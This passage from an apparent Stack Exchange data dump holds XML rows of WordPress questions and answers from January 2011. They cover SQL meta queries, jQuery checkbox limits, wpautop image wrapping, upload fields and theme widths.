Tags="&lt;post-meta&gt;&lt;customization&gt;&lt;query-string&gt;" AnswerCount="2" />
  <row Id="7075" PostTypeId="2" ParentId="7074" CreationDate="2011-01-16T19:19:07.777" Score="3" ViewCount="" Body="&lt;p&gt;I'm not an SQL expert, but I would think you might have to JOIN twice to pick two distinct rows out of &lt;code&gt;wp_postmeta&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $featuredquery = &quot;&#xA;    SELECT wposts.*&#xA;    FROM $wpdb-&amp;gt;posts wposts&#xA;    JOIN $wpdb-&amp;gt;postmeta article_level ON&#xA;      ( wposts.ID = article_level.post_id AND&#xA;        article_level.meta_key = 'article_level' )&#xA;    JOIN $wpdb-&amp;gt;postmeta article_genre ON &#xA;      ( wposts.ID = article_genre.post_id AND&#xA;        article_genre.meta_key = 'article_genre' )&#xA;    WHERE article_level.meta_value = 'Hovedsak'&#xA;    AND article_genre.meta_value = 'X6.no (Spill og underholdning)'&#xA;    AND wposts.post_status = 'publish'&#xA;    AND wposts.post_type = 'post'&#xA;    AND wposts.post_date &amp;lt; NOW()&#xA;    ORDER BY wposts.post_date DESC&#xA;    LIMIT 0 , 4&#xA; &quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-16T19:19:07.777" CommentCount="3" />
  <row Id="7077" PostTypeId="2" ParentId="128" CreationDate="2011-01-16T20:58:15.897" Score="0" ViewCount="" Body="&lt;p&gt;We've been using WordPress as a CMS for my university for over a year now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.plymouth.edu/academics/&quot; rel=&quot;nofollow&quot;&gt;http://www.plymouth.edu/academics/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.plymouth.edu/graduate/&quot; rel=&quot;nofollow&quot;&gt;http://www.plymouth.edu/graduate/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&amp;amp;c.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's definitely very usable for smaller sites that have few editors. Some of the issues you may run into with larger sites, not all of which we have resolved yet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Customization for individual groups/users.&lt;/strong&gt; We are using the WordPress Network feature to give individual blogs to different departments/groups, allowing some settings to be set per-group. We also developed the &lt;a href=&quot;http://code.google.com/p/9spot/&quot; rel=&quot;nofollow&quot;&gt;9spot&lt;/a&gt; plugin which replaces layout via templates with layout via widgets, giving each blog the ability to set custom columns per page type, category, etc. in the dashboard.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Development vs. production instances.&lt;/strong&gt; With our old CMS, you could edit content and push to the development server to check things before they went live. We have less ability to control content at this level in WordPress, and it's a little cumbersome to move content between the dev and prod instances. Likewise, many settings (i.e. widgets) are hard to move between servers.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Locking down content.&lt;/strong&gt; Aside from creating a new blog, we can't lock down editing privileges to a specific subset of users. We'd like to extend editing privileges to specific pages to individual users or user groups.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think it's all resolvable with enough development time and/or third-party plugins, but those are some things we're struggling with out of the box.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-01-16T20:58:15.897" CommunityOwnedDate="2011-01-16T20:58:15.897" />
  <row Id="7078" PostTypeId="1" CreationDate="2011-01-16T21:13:23.190" Score="0" ViewCount="120" Body="&lt;p&gt;I am building a gallery/CMS website using WP, Atahualpa theme and NextGEN gallery. There will be a few static pages, mostly gallery pages and no blog/posts section at all. There are about 800 images of three types (red, blue and green) created by 300+ people from about 40 places.&#xA;I need to be able to list the places alphabetically, link each place to a list of people from that place, in turn linked to their images 'page'/gallery. Is a nextGEN collection of places albums with people subgalleries and image tags for image type my best structural option?&#xA;I need to be able to list the people alphabetically, with each one clickable to to all their images on one page/gallery. They may have multiple images of each type. How do I get from clicking the name in the list to displaying that person's gallery 'page' dynamically, without actually building separate pages for each? &#xA;I would like to be able to show a gallery of all images of each type (red gallery, blue gallery, green gallery) too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help... &#xA;1. finding the best structure, plugins, templates, programming, etc &#xA;2. determining where to use categories, tags, custom fields, custom menus, custom taxonomies, etc? &#xA;I want to be sure of how it everything will function before I start building the site. Your thoughts would be most helpful and most sincerely appreciated! &lt;/p&gt;&#xA;" LastActivityDate="2011-08-18T14:26:35.390" Title="Gallery site functions and structure" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="7079" PostTypeId="2" ParentId="7074" CreationDate="2011-01-16T21:28:35.880" Score="3" ViewCount="" Body="&lt;p&gt;Similar to the new &lt;code&gt;tax_query&lt;/code&gt; option to &lt;code&gt;query_posts()&lt;/code&gt;, WordPress 3.1 will add a &lt;code&gt;meta_query&lt;/code&gt; argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'article_level',&#xA;            'value' =&amp;gt; 'Hovedsak',&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'article_genre',&#xA;            'value' =&amp;gt; 'X6.no (Spill og underholdning)',&#xA;        ),&#xA;    ),&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not quite here yet, but worth mentioning.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-01-16T21:28:35.880" />
  <row Id="7080" PostTypeId="2" ParentId="779" CreationDate="2011-01-16T21:35:04.903" Score="0" ViewCount="" Body="&lt;h1&gt;content img {&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;margin: 0;&#xA;height: auto;&#xA;max-width: 640px;&#xA;width: auto;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;The above puzzles be terrible, i did remove width: auto; in twenty ten theme, it worked - but as for the child tbeme option, how does one leave out the line in child theme, but is still used via parent theme, its weird! I though the child theme style sheet replace use of twenty ten theme&lt;/p&gt;&#xA;" LastActivityDate="2011-01-16T21:35:04.903" />
  <row Id="7081" PostTypeId="1" AcceptedAnswerId="7086" CreationDate="2011-01-16T22:13:27.717" Score="0" ViewCount="224" Body="&lt;p&gt;I have a site with CPT (short for custom post type) &quot;bagp_deals&quot; and custom taxonomies&#xA;&quot;ba_locations&quot; and &quot;ba_cats&quot;&#xA;basically Its post type of &quot;Deals&quot; with &quot;Location&quot; and &quot;Categories&quot; as hierarchical taxonomies.&#xA;On the default edit screen i want to limit the selection to just one of each (one location and one category) and i'm trying to do that with JQuery,&#xA;i notice that the field custom taxonomy of ba_locations is named &quot;tax_input[ba_locations][]&quot; and so far i have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;input[name=tax_input[ba_locations][]]&quot;).click(function () {&#xA;    selected = jQuery(&quot;input[name=tax_input[ba_locations][]]&quot;).filter(&quot;:checked&quot;).length;&#xA;    if (selected &amp;gt; 1){&#xA;        jQuery(&quot;input[name=tax_input[ba_locations][]]&quot;).each(function () {&#xA;                jQuery(this).attr(&quot;checked&quot;, false);&#xA;        });&#xA;        jQuery(this).attr(&quot;checked&quot;, true);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;witch is suppose to limit the checkbox selection to one.&#xA;For some reason i can't get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is why isn't this working ? &#xA;or do you have a better solution to limit the selection to just one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;this is the working code i used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;input[name=\&quot;tax_input[ba_locations][]\&quot;]&quot;).click(function () {&#xA;    selected = jQuery(&quot;input[name=\&quot;tax_input[ba_locations][]\&quot;]&quot;).filter(&quot;:checked&quot;).length;&#xA;    if (selected &amp;gt; 1){&#xA;        jQuery(&quot;input[name=\&quot;tax_input[ba_locations][]\&quot;]&quot;).each(function () {&#xA;                jQuery(this).attr(&quot;checked&quot;, false);&#xA;        });&#xA;        jQuery(this).attr(&quot;checked&quot;, true);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-04T07:43:40.257" LastActivityDate="2011-07-04T07:43:40.257" Title="limit selection of custom taxonomies to one?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;jquery&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7082" PostTypeId="1" CreationDate="2011-01-16T22:55:47.887" Score="0" ViewCount="222" Body="&lt;p&gt;Is there a common page size for a cms in terms of pixels i.e 960 px by 600px,if yes what would you advise i go with.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2011-04-06T23:22:23.890" ClosedDate="2011-04-07T09:10:12.013" Title="Best page size for a cms theme" Tags="&lt;cms&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="7083" PostTypeId="2" ParentId="7029" CreationDate="2011-01-16T23:02:15.883" Score="2" ViewCount="" Body="&lt;p&gt;Mike, I've taken a look at the code and your ideal end use case ... and some of them, frankly, aren't possible with the current system.  Again, your requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the &quot;Microsite&quot; submenu page to be highlighted when editing an Attorney&lt;/li&gt;&#xA;&lt;li&gt;Get the Attorney Menu Page link to link to &lt;code&gt;/wp-admin/edit.php?post_type=attorney&lt;/code&gt; when editing an Attorney&lt;/li&gt;&#xA;&lt;li&gt;Get the &quot;Microsite&quot; link not to trigger a &quot;You do not have sufficient permissions to access this page&quot; error&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And the key issue here is #2.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What I tried&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I tried adding a custom post type for Attorneys and was immediately reminded that &lt;code&gt;/wp-admin/edit.php?post_type=attorney&lt;/code&gt; will give you a &lt;em&gt;list&lt;/em&gt; of attorneys, not an actual edit screen.  The actual editing take place on &lt;code&gt;/wp-admin/post.php?post=10&amp;amp;action=edit&lt;/code&gt;.  So if you're really tied to #2 ... the other two criteria won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why #3 fails in implementation ... and I wasn't even able to attempt #1 because I couldn't get that far.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-16T23:02:15.883" CommentCount="1" />
  <row Id="7084" PostTypeId="2" ParentId="7082" CreationDate="2011-01-17T01:04:17.957" Score="1" ViewCount="" Body="&lt;p&gt;Try to figure out what kind of an audience your cms site has. Then set the size accordingly. Is your site targeted towards older / younger / computer savvy / from developed countries / from developing countries? If you understand these figures, it will help you set the size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also install Google Analytics, and see what kind of screen resolutions your audiences have.&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-01-17T01:04:17.957" CommentCount="1" />
  <row Id="7085" PostTypeId="2" ParentId="7082" CreationDate="2011-01-17T01:15:16.503" Score="1" ViewCount="" Body="&lt;p&gt;Fwiw, the ideal &quot;main&quot; column width for iPhone/iPad is 480-500px wide. Everything else is cosmetic.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-17T01:15:16.503" />
  <row Id="7086" PostTypeId="2" ParentId="7081" CreationDate="2011-01-17T01:17:45.780" Score="2" ViewCount="" Body="&lt;p&gt;Instead of hacking it with jQuery, a more reliable solution would be to replace the meta box with your own, in PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the problem is most likely with the '[' and ']' characters in the selector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;input[name=tax_input[ba_locations][]]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could be rewritten as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;input[name=tax_input\\[ba_locations\\]\\[\\]]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://stackoverflow.com/questions/2786538/need-to-escape-a-special-character-in-a-jquery-selector-string&quot;&gt;http://stackoverflow.com/questions/2786538/need-to-escape-a-special-character-in-a-jquery-selector-string&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-01-17T01:35:05.697" LastActivityDate="2011-01-17T01:35:05.697" CommentCount="2" />
  <row Id="7087" PostTypeId="2" ParentId="7063" CreationDate="2011-01-17T01:30:57.460" Score="1" ViewCount="" Body="&lt;p&gt;When you say it doesn't work, what part doesn't work? Does it not direct to the 404 page when there are no results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm wrong, the search won't redirect to the 404.php page when there are no results found. Include your 404 error above in the search.php between the else and endif.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-17T01:30:57.460" CommentCount="2" />
  <row Id="7088" PostTypeId="1" CreationDate="2011-01-17T01:54:39.950" Score="0" ViewCount="128" Body="&lt;p&gt;Hey I'm currently using the Titan theme for my website and I want each category to display each FULL posts for that particular category, but with my theme Titan this is not a option. I only get links for my categories. I don't know what pages and code to edit to change this. Right now I only get this when you click on a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://femalerappers.net/category/patwa/&quot; rel=&quot;nofollow&quot;&gt;http://femalerappers.net/category/patwa/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A temporary fix for me has been to create pages and use the [[ post # ]] code in each individual page to display what I want on each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help so I can just use my categories and they automatically update on each category with full posts instead of just links.   Thank you!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T02:05:32.867" Title="Categories will only display links to posts. Help!" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="7089" PostTypeId="2" ParentId="7088" CreationDate="2011-01-17T02:05:32.867" Score="2" ViewCount="" Body="&lt;p&gt;Look in your theme's folder for a file called &quot;category.php&quot;. Open it then look for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place this right below it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php the_excerpt();?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will display an excerpt of each post below the title.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-17T02:05:32.867" CommentCount="5" />
  <row Id="7090" PostTypeId="1" AcceptedAnswerId="8356" CreationDate="2011-01-17T04:08:51.977" Score="2" ViewCount="990" Body="&lt;p&gt;I have searched high and low for a simple solution to this, but to no avail. Wordpress keeps on wrapping my images in p tags and because of the eccentric nature of the layout for a site I am working on, this is highly annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a jQuery solution to unwrap images, but it isn't that great. It lags because of other stuff loading on the page and so the changes are slow to be made. Is there a way to prevent Wordpress wrapping just images with p tags? A hook or filter perhaps that can be run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening when uploading an image and then inserting it into the WYSIWYG editor. Manually going into the code view and removing the p tags is not an option as the client is not that technically inept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that images are inline, but the way I have the site coded images are inside of divs and set to block, so they are valid code.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-08-19T18:48:51.837" Title="Stop Wordpress Wrapping Images In A &quot;P&quot; Tag" Tags="&lt;posts&gt;&lt;editor&gt;&lt;content&gt;&lt;wysiwyg&gt;&lt;the-content&gt;" AnswerCount="6" FavoriteCount="3" />
  <row Id="7091" PostTypeId="1" AcceptedAnswerId="7095" CreationDate="2011-01-17T05:03:19.907" Score="2" ViewCount="508" Body="&lt;p&gt;I've created a custom post type. It requires a file to be uploaded. I found the following tutorial which I've successfully adapted to do what I need with one exception: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial provides JavaScript code to override the &quot;send to editor&quot; button, however that's not what I want to do. I want to set the filename as a meta value of the post so I can pull it out in my display template. Ideally I want to display another custom link in the file upload thickbox, similar to &quot;set as post thumbnail&quot;, which will do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom JavaScript file contains this (the first function has been customised to my post type, the second hasn't):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;&#xA;jQuery('#upload_resource_button').click(function() {&#xA; formfield = jQuery('#upload_resource').attr('name');&#xA; tb_show('', 'media-upload.php?type=file&amp;amp;amp;TB_iframe=true');&#xA; return false;&#xA;});&#xA;&#xA;window.send_to_editor = function(html) {&#xA; imgurl = jQuery('img',html).attr('src');&#xA; jQuery('#upload_image').val(imgurl);&#xA; tb_remove();&#xA;}&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I need an additional hidden field to assign the filename back to, I can probably work that out - really what I need to know is what hook to use to add a new link to the thickbox to use instead of &quot;Send To Editor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense - I'm not sure of all the correct terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2011-01-17T07:14:24.250" Title="Custom post type with file upload - need to &quot;set as field&quot; instead of &quot;send to editor&quot;" Tags="&lt;custom-post-types&gt;&lt;jquery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7092" PostTypeId="1" CreationDate="2011-01-17T05:50:54.400" Score="0" ViewCount="72" Body="&lt;p&gt;One day my site worked perfectly and the next it suddenly started to have trouble recording accented characters. The problem affects posts' body, if I submit a post with an accent on the title it records it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I put it on the post's content instead of recording &quot;casá&quot; the posts &quot;CasÃ¡&quot; and if I edit it, it says &quot;cas&amp;Atilde;&amp;iexcl;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's causing havok on my site because it's very &quot;search based&quot; and searches no longer work. I really don't know what to do. Anyone has experienced something like this before or has any idea of how to fix it? Or as a last resort is there a way to turn everything to us characters?&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2011-02-18T14:09:42.580" Title="On update to 3.04 site started recording accents as &quot;&amp;Atilde;&amp;iexcl;&quot; and &quot;Ã¡&quot;, what to do?" Tags="&lt;php&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7093" PostTypeId="2" ParentId="7082" CreationDate="2011-01-17T06:25:14.843" Score="0" ViewCount="" Body="&lt;p&gt;All of my designs use a width of 960 pixels because I use a CSS framework called &lt;a href=&quot;http://960.gs/&quot; rel=&quot;nofollow&quot;&gt;960 Grid System&lt;/a&gt;. There is no ideal inner column widths, you have a main container width and then can have an endless amount of inner columns of different widths.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-17T06:25:14.843" />
  <row Id="7094" PostTypeId="2" ParentId="6645" CreationDate="2011-01-17T07:13:18.137" Score="1" ViewCount="" Body="&lt;p&gt;Massively improved function developed for plugin heavy on images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_attachment_id( $url ) {&#xA;&#xA;    $dir = wp_upload_dir();&#xA;    $dir = trailingslashit($dir['baseurl']);&#xA;&#xA;    if( false === strpos( $url, $dir ) )&#xA;        return false;&#xA;&#xA;    $file = basename($url);&#xA;&#xA;    $query = array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'fields' =&amp;gt; 'ids',&#xA;        'meta_query' =&amp;gt; array(&#xA;            array(&#xA;                'value' =&amp;gt; $file,&#xA;                'compare' =&amp;gt; 'LIKE',&#xA;            )&#xA;        )&#xA;    );&#xA;&#xA;    $query['meta_query'][0]['key'] = '_wp_attached_file';&#xA;    $ids = get_posts( $query );&#xA;&#xA;    foreach( $ids as $id )&#xA;        if( $url == array_shift( wp_get_attachment_image_src($id, 'full') ) )&#xA;            return $id;&#xA;&#xA;    $query['meta_query'][0]['key'] = '_wp_attachment_metadata';&#xA;    $ids = get_posts( $query );&#xA;&#xA;    foreach( $ids as $id ) {&#xA;&#xA;        $meta = wp_get_attachment_metadata($id);&#xA;&#xA;        foreach( $meta['sizes'] as $size =&amp;gt; $values )&#xA;            if( $values['file'] == $file &amp;amp;&amp;amp; $url == array_shift( wp_get_attachment_image_src($id, $size) ) ) {&#xA;&#xA;                $this-&amp;gt;attachment_size = $size;&#xA;                return $id;&#xA;            }&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-06T21:02:26.733" LastActivityDate="2011-06-06T21:02:26.733" CommentCount="2" />
  <row Id="7095" PostTypeId="2" ParentId="7091" CreationDate="2011-01-17T07:14:24.250" Score="0" ViewCount="" Body="&lt;p&gt;i cant say I've tried this but if you have the url of the file and all you need is the file name then you can just change your code from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    window.send_to_editor = function(html) {&#xA;      imgurl = jQuery('img',html).attr('src');&#xA;      jQuery('#upload_image').val(imgurl);&#xA;      tb_remove();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    window.send_to_editor = function(html) {&#xA;      imgurl = jQuery('img',html).attr('src');&#xA;      filename = substring(imgurl.lastIndexOf('/'), imgurl.length);&#xA;      jQuery('#upload_resource').val(filename);&#xA;      tb_remove();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this way your &quot;send to editor&quot; button will insert just the file name.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-17T07:14:24.250" CommentCount="3" />
  <row Id="7096" PostTypeId="2" ParentId="5622" CreationDate="2011-01-17T07:44:00.453" Score="2" ViewCount="" Body="&lt;p&gt;If I understand right your current logic is &quot;events later than today&quot; but you want to adjust it to &quot;events today or later&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be simple by adjusting comparison rule to from &quot;more&quot; to &quot;more or equal&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:50:32.267" LastActivityDate="2011-02-06T16:50:32.267" />
  <row Id="7097" PostTypeId="2" ParentId="7090" CreationDate="2011-01-17T07:54:43.030" Score="1" ViewCount="" Body="&lt;p&gt;maybe this will help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'wpautop')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then you are going to add the paragraphs for everything else manually.&lt;/p&gt;&#xA;" OwnerUserId="774" LastActivityDate="2011-01-17T07:54:43.030" CommentCount="1" />
  <row Id="7098" PostTypeId="2" ParentId="7090" CreationDate="2011-01-17T08:33:24.497" Score="3" ViewCount="" Body="&lt;p&gt;Basically you need to make WordPress treat &lt;em&gt;img&lt;/em&gt; like block-level element for the purpose of formatting. Such elements are &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/formatting.php#L188&quot; rel=&quot;nofollow&quot;&gt;hardcoded in &lt;code&gt;wpautop()&lt;/code&gt;&lt;/a&gt; and list is unfortunately not filtered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fork &lt;code&gt;wpautop()&lt;/code&gt; under different name.&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;img&lt;/code&gt; to regexp in &lt;code&gt;$allblocks&lt;/code&gt; variable.&lt;/li&gt;&#xA;&lt;li&gt;Remove &lt;code&gt;wpautop&lt;/code&gt; from &lt;code&gt;the_content&lt;/code&gt; filter.&lt;/li&gt;&#xA;&lt;li&gt;Add your forked version to &lt;code&gt;the_content&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You might need to play with priority and possibly remove and re-add other filters if something breaks because of changed processing order.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-17T08:33:24.497" CommentCount="2" />
  <row Id="7099" PostTypeId="1" AcceptedAnswerId="7116" CreationDate="2011-01-17T08:38:16.097" Score="4" ViewCount="224" Body="&lt;p&gt;I have to add forum feature in my wordpress blog.I see bbpress but would like to add forum similar to stackexchange or stackoverflow. &#xA;Please let me know.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2011-01-17T16:08:51.373" Title="Open Source Forum for wordpress similar to stackexchange or stackoverflow" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;forum&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="7100" PostTypeId="2" ParentId="6604" CreationDate="2011-01-17T08:44:35.527" Score="1" ViewCount="" Body="&lt;p&gt;Do you refer to &lt;em&gt;feed settings&lt;/em&gt; in WordPress or W3 Total Cache?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I think this is indeed likely to be caching issue I'd check following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check that feed is not getting stuck in browser cache (force reload, clear cache and reload).&lt;/li&gt;&#xA;&lt;li&gt;Verify that headers on feed make sense, &lt;a href=&quot;http://redbot.org/&quot; rel=&quot;nofollow&quot;&gt;http://redbot.org/&lt;/a&gt; is good tool.&lt;/li&gt;&#xA;&lt;li&gt;Try to disable feed caching in &lt;code&gt;Performance &amp;gt; Page Cache&lt;/code&gt; and see if it makes a difference.&lt;/li&gt;&#xA;&lt;li&gt;Enable debug mode for page cache in &lt;code&gt;Performance &amp;gt; General Settings&lt;/code&gt; and look through information it gives on feeds.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-17T08:44:35.527" CommentCount="1" />
  <row Id="7101" PostTypeId="2" ParentId="7090" CreationDate="2011-01-17T09:46:33.303" Score="0" ViewCount="" Body="&lt;p&gt;Soska have given one/easy way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I do is, extract image from content and display it separately.&lt;/p&gt;&#xA;" OwnerUserId="2540" LastActivityDate="2011-01-17T09:46:33.303" CommentCount="2" />
  <row Id="7102" PostTypeId="1" AcceptedAnswerId="7139" CreationDate="2011-01-17T09:53:08.217" Score="0" ViewCount="75" Body="&lt;p&gt;I'm currently writing my first plugin, which will let the site admin/editor use a different image as a background/header for each post/page, and I would also like to have defaults for each category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is where I'm not sure how to proceed: If for each post/page the image (which is an attachment, so is just an id in the db) is a simple post meta field, there is no such (implicit) thing for categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are more ways to go:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an option for every category - something like &lt;code&gt;background_cat_$id_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the categories which correspond to a certain image to the attachment post ( &lt;code&gt;corresponding_cats&lt;/code&gt; ? )&lt;/li&gt;&#xA;&lt;li&gt;Modify the term_taxonomy table to add a column (last resort? bad design?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now I believe I'll go with my first option but I'm really curios how you handle such issues.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-01-17T22:08:46.207" Title="Best/Correct way to add an option to a category" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;categories&gt;&lt;database&gt;" AnswerCount="2" />
